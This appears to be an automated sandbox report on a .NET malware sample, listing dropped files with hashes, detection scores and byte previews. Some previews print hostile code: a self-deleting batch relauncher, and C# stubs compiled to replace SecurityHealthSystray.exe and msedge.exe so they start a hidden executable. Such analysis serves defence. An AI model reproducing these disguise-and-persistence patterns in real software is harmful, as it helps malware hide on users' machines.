SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with very long lines (359), with no line terminators
Category:	dropped
Size (bytes):	359
Entropy (8bit):	5.844290482292296
Encrypted:	false
SSDEEP:	6:hTuXhchl53xSFkGgerRWs7V9h1ty+6S3XPTpFKRqRzkl/OlNdD/AuVCr:hQGzBSeGge0STv6S3NFKfmCuVQ
MD5:	702678BE7DAF53283581C986E9874A51
SHA1:	1B1E25B47A06D43B80FF0744AF7188F39B9CE44B
SHA-256:	0AC05AFA38B9734B2080A5C8F90E77CE905B56670ECABF8A3276CFB31CA4C63F
SHA-512:	555E693010416848608BB57D2DC75B86CEEFEC56C33A522A95569D13B4FF877ACBB2D4B25DD9903B30FA19C1DA53EED60B795723C1B00C9916397BB3C5FF7F14
Malicious:	false
Preview:	O9M2EJgmYmE8o602FwBm0oDdOC3mgwJIXzwzRLjTqaVWn63eEbnvDlfj5soCQ4Glc5kyJBl3Ns5ZTq0SIYiEIYFvUN3ihgDwUt4rWEUC0uiUqFPO2W31VBcEzyd6ICVqpJFkwJ5DDfOYzvFP7pqLnLaTRz2hlY4yZ1pg9pbsazxzxEOEsO9dWJDdsvS7RYcpla98FiPRN7vxYlgMkxyXZbbPyLyOWebCXIOXFQ8K8rPYYQFHPGWdjFQK8uK3tB5tftZPWIHUyoYrLD0hGr8QH8cR1DYVGEa6wg2p0zuG8Co4qi843mxCDolhQHXTtwOuOc5pKLrQ71RFTilTFebdRX3H4VYsbaXMx4pOnTt

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SSblKNNQege.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	569844
Entropy (8bit):	7.487969174812562
Encrypted:	false
SSDEEP:	12288:7GBfAoq+6b7AaSxWtkmtoIg132s/q3DMJGk58qgd/t:7mApDuWAt2F3xwk9t
MD5:	00C4245522082B7F87721F9A26E96BA4
SHA1:	993A8AA88436B6C62B74BB399C09B8D45D9FB85B
SHA-256:	A728F531427D89C5B7691F989E886DF57D46F90D934448E6DABF29D64D0662BF
SHA-512:	FDD8D2444B28883FACE793F6EA77913C2096A425E6101202536EA001C3DF5E76A60A01673EE7A52EAE827A12299B2727002895395315DB190EC82AE11A68559F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ@.....................................!..L.!It's .NET EXE$@...PE..L....&.M............................^.... ...@....@.. ....................................@.....................................O....@.. ....................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B...........................................................................v2.19@.......H.......d&...............................................................0............%..,....i-....+...........%..,....i-.....+...................XGR......8.........%.X.XG..........-.....c.........XG.b.X.......8....... ...._ .............:]........XJ..........-....c....X... ...._... .............-@....c....._..........-....X... ...._ ....X....a...+....._.X...+}....c....._....E............%...;...+V...?_.X..+K..X... ...._.AX....a..+3.. .?.._ A...X....X.+....XX... ...._ AD..X.

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\f2aefc5695405c

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.786204724454456
Encrypted:	false
SSDEEP:	6:3T/FjawnBXhzDVZf3DEgaPMeYXHVB5cCeg6omq2PU2zQ3gp:DtuwBXZfXaPMeUVBeCKwQUBQp
MD5:	EE5C684D825BCD8DCE3C9D03E2CBBDE5
SHA1:	6CA732E76BCC9A72D5A8BE2B12C9DD0DB4B08A77
SHA-256:	B44E20042C647C82B68A453027A29B942328CDDA8815C5C34DF4463EE581FB2F
SHA-512:	36E1C4B3936841BC75D4324F11792B0C041C8DB4D8E75A82E19F5B7280D0BD5EC867B23BE6B8BC0EDB296BDADD27014BB5F4CC93A1F0D6E99ABBB556E5B79828
Malicious:	false
Preview:	XuRbcLr6LZ1wT8XYqFzuLvrkBvk7ufhKd2zrmdfyKZ3K6ynE2SNL0KDmCraqltMp2rTaIqvMjBjw2hnNHfFbSVTTzNo5DyMbNNRPfN6MhAlykRueDNiFouXgX9k5BzJuzIipQYr4j24RtesidK20PHwdzu1fmBLr119csFOpfogv0Gx3RCc07SesVFzfhMRirMZ2ePzX5MVlkBms77OkiUtiWRHnPsHSW8Enq4YBME4u73HUcHij8r9Xc0f

C:\Users\Default\Pictures\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	76
Entropy (8bit):	5.3824743883012545
Encrypted:	false
SSDEEP:	3:SPiSvTWtWfQ+X/Qzd3oRr7wCF3s92pjZ:SacTYibRr73F3j
MD5:	5445A8C42FDCD4F314E5874F67762282
SHA1:	E8F144DC2705F18ADCACFB5BF7379453D2C97EC4
SHA-256:	A064AB12EE30F833B770C4DA1F2BF33D74A6C6E58B4A06A92D01B12AC6B0142B
SHA-512:	B1FCD44F676392711F92D7DEED510FF86C4E2D2BACCE95FA2AA2E1F7D8313A057A10068743632A7060393C38174B1A52C2FFFD8E7B1F8028BA4983EE3109A0A6
Malicious:	false
Preview:	306V1l9LGwJZp4sgKzrLetzx7ifGGb2ZuIw8cEzeqmfoXDUwmQlggcjJBIXSF3Eo4tpgHtDFANe2

C:\Users\Default\Pictures\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\containerRuntime.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHpHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKktJtpaqZ8
MD5:	FE86BB9E3E84E6086797C4D5A9C909F2
SHA1:	14605A3EA146BAB4EE536375A445B0214CD40A97
SHA-256:	214AB589DBBBE5EC116663F82378BBD6C50DE3F6DD30AB9CF937B9D08DEBE2C6
SHA-512:	07EB2B39DA16F130525D40A80508F8633A18491633D41E879C3A490391A6535FF538E4392DA03482D4F8935461CA032BA2B4FB022A74C508B69F395FC2A9C048
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\runtimesvc.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHmHKlT4vHNpv:iq+wmj0qCYqGSI6oPtzHeqKktGqZ4vtd
MD5:	4E98592551BD0B069F525D5145C4AB1D
SHA1:	F76B60DC100FAB739EB836650B112348ED7B9B97
SHA-256:	171B3D8F6F3559D645DECCA2C9B750EBFD5511B6742C0157C60F46EAD6CC4F5E
SHA-512:	E5C520597C414A3F73AF0C4F2E2A61CE594D8CEC7FF103D94CCAEA905E0D5F6AF32CFAB40026865AE86172904F927B928663C9FA4B0EBD397CC450BF124A318D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MpDefenderCoreProtion.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	5.352137456245207
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhIE4Kx1qE4qpAE4KzecKIE4oKNzKoI84j:MxHKlYHKh3oIHKx1qHmAHKzectHo6wvj
MD5:	EAE5EFE80D5F86B5BB8BAEF36579B0C4
SHA1:	EAA80274290D74F14BF65C501398863F7BCDA539
SHA-256:	C12CF957A87AA5C969C55DD2D808A4449722226D5DA96DD36C5086C7D5D3B29E
SHA-512:	6E4D2805AB7944EA371B14AB8EB2811EE3A49FC70B98E8DBF1DDA6F6B5FF327AE34B532222945366700E59A2640417B5869B9CB118270C3A0BC6F902755A60CA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MpDefenderProtector.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	5.352154694194798
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhIE4Kx1qE4qpAE4KzecKIE4oKNzKoM:MxHKlYHKh3oIHKx1qHmAHKzectHo60
MD5:	B7B2115023E4E7524BBFAB90E6A1EEB3
SHA1:	6843D72FEFB2520922603012B521988EF05A7CA2
SHA-256:	F148B4973AEBD7535CF21F2EB0762BD825E0F3988E604ED4BE8E7C1A24F2A772
SHA-512:	99AEFADC22A310DE03CD93125F94116EADA1B9F001E6FBA6BBD7521D50A9F7C985A15F5A7D5F2127B100DA10B1E7EEECC1258965A99ACAFC67514961A18998C2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\S

C:\Users\user\AppData\Local\Temp\B2ESObyLKs.bat

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.206042731284723
Encrypted:	false
SSDEEP:	6:hCRLuVFOOr+DE1cNwiaZ5qWQNSKOZG1cNwi23fa:CuVEOCDEVNHelZS
MD5:	1B5342C9133EB989645D6702CED86B99
SHA1:	35DD90291AAB3A0AB143A852052B31DC1C3FCE11
SHA-256:	31A905447AF3B378382AEB8EADDCE71F849C79B80B666B327D814C51CBCB18C9
SHA-512:	C54126CC9F2B825A4EEF92B6AE2F0394D2888AEEBB894530420464B248B240CB3C481E92E650C4108B64F1470E8670C41135C07B2EA8F07DB9FB1F96FD955314
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\B2ESObyLKs.bat"

C:\Users\user\AppData\Local\Temp\PfW1NfxifU

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.373660689688184
Encrypted:	false
SSDEEP:	3:aoMN7j2n:azNm
MD5:	C31A73D77A645596C8C0C5BD25FBCE95
SHA1:	EA1AE4703C842EF994DDB2919A93C6C7E833BDB6
SHA-256:	0A3056B6FBCF1A74917016EE44D313DC972FFCECC4D74E819553D63E64E3C728
SHA-512:	B6104AB24853A0DF821DA634E9DBD7306D556F648A02A324A90F1751010851920F5F55DCD65853948CF30C26AF1B81F54348B7F71C939412FD8798252A34B34D
Malicious:	false
Preview:	wYYkTyYPDthxghRbLSciWjpm0

C:\Users\user\AppData\Local\Temp\RES5B8E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6f4, 10 symbols, created Mon Jan 13 13:37:57 2025, 1st section name ".debug$S"
Category:	modified
Size (bytes):	1964
Entropy (8bit):	4.655589791378944
Encrypted:	false
SSDEEP:	24:HFO9MLzlur12ZHJwKtYN0lmxT0uZhNB+h9PNnqpdt4+lEbNFjMyi0+QEgcN:9LzK12ZSKtYilmuulB+hnqXSfbNtmhZN
MD5:	7E449E806888B37585DB839EE970588F
SHA1:	0CA333DC3448E947F7FC60DE477D8ECEBEFDD045
SHA-256:	E4D00D3DEAD6E72EE2B89A17CF4CAF8AB35EF7BEE9EE2C14AADE6FC93A08C486
SHA-512:	39903345155F436B695B728D69049E1E4F93D5F737E311A26252AF9B99C1951A0DDC34E9C4C91281A133367E2CEEC0BAC6193CBA3C143427782452C26A0F82B3
Malicious:	false
Preview:	L...5..g.............debug$S........\|...................@..B.rsrc$01............................@..@.rsrc$02........8...................@..@........[....c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP....................q.QK.......N..........7.......C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe........................ .......8.......................P.......................h.......................................................D...............................................D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...

C:\Users\user\AppData\Local\Temp\p3fkpuzh\p3fkpuzh.0.cs

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	386
Entropy (8bit):	4.941748372658632
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLRG3CaiFkD:JNVQIbSfhV7TiFkMSfhNG3C7FkD
MD5:	677FF7FC60E0311D7BEBBFCD555EA45B
SHA1:	FBF5D7395C233F6973ECA1F27E3C4B471A697884
SHA-256:	FE95F14C41F068E5402BBC46B16E222EBB7EC4530A8CCCAE853AB07D704A7F4F
SHA-512:	EFCFF575D8769F1F201D05D03E8D3A9E253D98659E9BF9761705ADE93BBC29A65DE941E937AC54DAA83949AE44A5AF34BEFE713D7658B6CEFA56FBF1450C96DE
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\Cursors\OfficeClickToRun.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\p3fkpuzh\p3fkpuzh.cmdline

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	254
Entropy (8bit):	5.083477818572139
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8ocNwi23fN1:Hu7L//TRq79cQlZl1
MD5:	084AA95F6933D853DA06FDD9EFB16784
SHA1:	45BF016B972D1F7B115C1B96BB04E80810AA0588
SHA-256:	A6BEA0A36EF963DFF7A410C5671B3CA76B234F27BD45DC8F5F54F2FEDA0D998A
SHA-512:	90BE0B422B7C24FFE3EFD82A17BEA3C63F14650EEAEB43B748298D0F7410E17F53EB433BCA994304E49F9C55C33AA4E6CE1240E0DA7351DDCDC083A2CC693337
Malicious:	false
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\p3fkpuzh\p3fkpuzh.0.cs"

C:\Users\user\AppData\Local\Temp\p3fkpuzh\p3fkpuzh.out

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (367), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	788
Entropy (8bit):	5.2551640754922175
Encrypted:	false
SSDEEP:	24:K6MI/un/Vq79tDlQKax5DqBVKVrdFAMBJTH:GN/VqvlQK2DcVKdBJj
MD5:	B483897516926B5A6AD964D1F33B7975
SHA1:	3BFAA3F9E175E9A04C6EF7526EC9280418BE8E01
SHA-256:	170CAF303BC6B1CE5A49363BD0D108F66661E970FDCBDE945FC8E9A41F4CA09E
SHA-512:	1251BC9EC169DD5BBCA446B3D7CA300B91CB27C077FFF66C5FC38E16A93AA863C94A660161F967EC8C7857CC0759C1CD2E500308149E4C1D38198E12CE6326B3
Malicious:	false
Preview:	.C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\p3fkpuzh\p3fkpuzh.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.0.cs

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	401
Entropy (8bit):	4.985747666306943
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBL6LzIfiFkMSf+eBLRG3CaiFkD:JNVQIbSfhWLzIiFkMSfhNG3C7FkD
MD5:	12552046D9C691F65E599B72940FF422
SHA1:	075333799460BCD79972E8F7F2984336AD5DC464
SHA-256:	BDEA88854255AAF8A2BE528CFB5B3157296E3D631D5E981F8108107FC2BFA80F
SHA-512:	6369B25FE8E1F19B42EDD52B2ADA2C655F65A9EA8DC86BF63E084761886FF95686BDEBC80B91B1FB9A2C1CD374208692F70B529B5DCC856E2F6F9D0823C3F566
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\Cursors\OfficeClickToRun.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	269
Entropy (8bit):	5.161485678278323
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRf5oeTckKBzxsjGZxWE8ocNwi23fek:Hu7L//TRRzscQlZv
MD5:	593290488BBC0526577C37D2D68613E4
SHA1:	84ABE39A0CFBC71EEB537C7B4E207E1D5535151B
SHA-256:	5C487C4B5E96E632F3F46048AA32331494A541CE33F9147AF4A9A0516033634B
SHA-512:	D560CB667CF24449B958F02C6B8580422093100D42510223744FA84DCC867B7717D1FCE99CA0C0C761B51B866A22DBCB356377AF49CED830B2037E8EB1451915
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.0.cs"

C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.out

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (382), with CRLF, CR line terminators
Category:	modified
Size (bytes):	803
Entropy (8bit):	5.26321617656191
Encrypted:	false
SSDEEP:	24:K6MI/un/VRzstDWKax5DqBVKVrdFAMBJTH:GN/VRzEWK2DcVKdBJj
MD5:	6C62C88DCBF883B3EDB57F6FC1D821DB
SHA1:	116A73EDA08E4C56D9D6C9F5CED52A28062C028E
SHA-256:	16CB84217DBA20C9DE981A5EDB6EBF15B54CFED38E9F9BA23FF1589A039F986C
SHA-512:	DFF1FD1231A3F4A3ADE3C92629943384BC32A9E7738727E4AC67B76956028DCB6E95D2E78EB4F5C1989DABEFFE9D7B47233414467BCB39A07654CA605BD5FAC8
Malicious:	false
Preview:	.C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\97e9b57c6296f0

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	ASCII text, with very long lines (458), with no line terminators
Category:	dropped
Size (bytes):	458
Entropy (8bit):	5.833704538744277
Encrypted:	false
SSDEEP:	12:FSeR3ioyA21Zm/nXjDjL2bnSrFPJf6Du1L/j/4Tr7bk:QeglBZm/nXjKbSBP4wL/jQTr7I
MD5:	7CC7B26756157C92F40257A8A733E8F4
SHA1:	72505C8DA0C79F0694292534E5B14820AAB9B469
SHA-256:	32E8F10ACD40A6FE81BE1EFD95B36BE2F508ABABAEF99BC97336671547D23082
SHA-512:	0978B7F90734FDDEDBD4E4918343E4A853230AB91E462BE0722BDD0A85E82AFF7269D6ED8E53E8A26A40E896AE07E0B739336FC67EE863708581982ADC5C419F
Malicious:	false
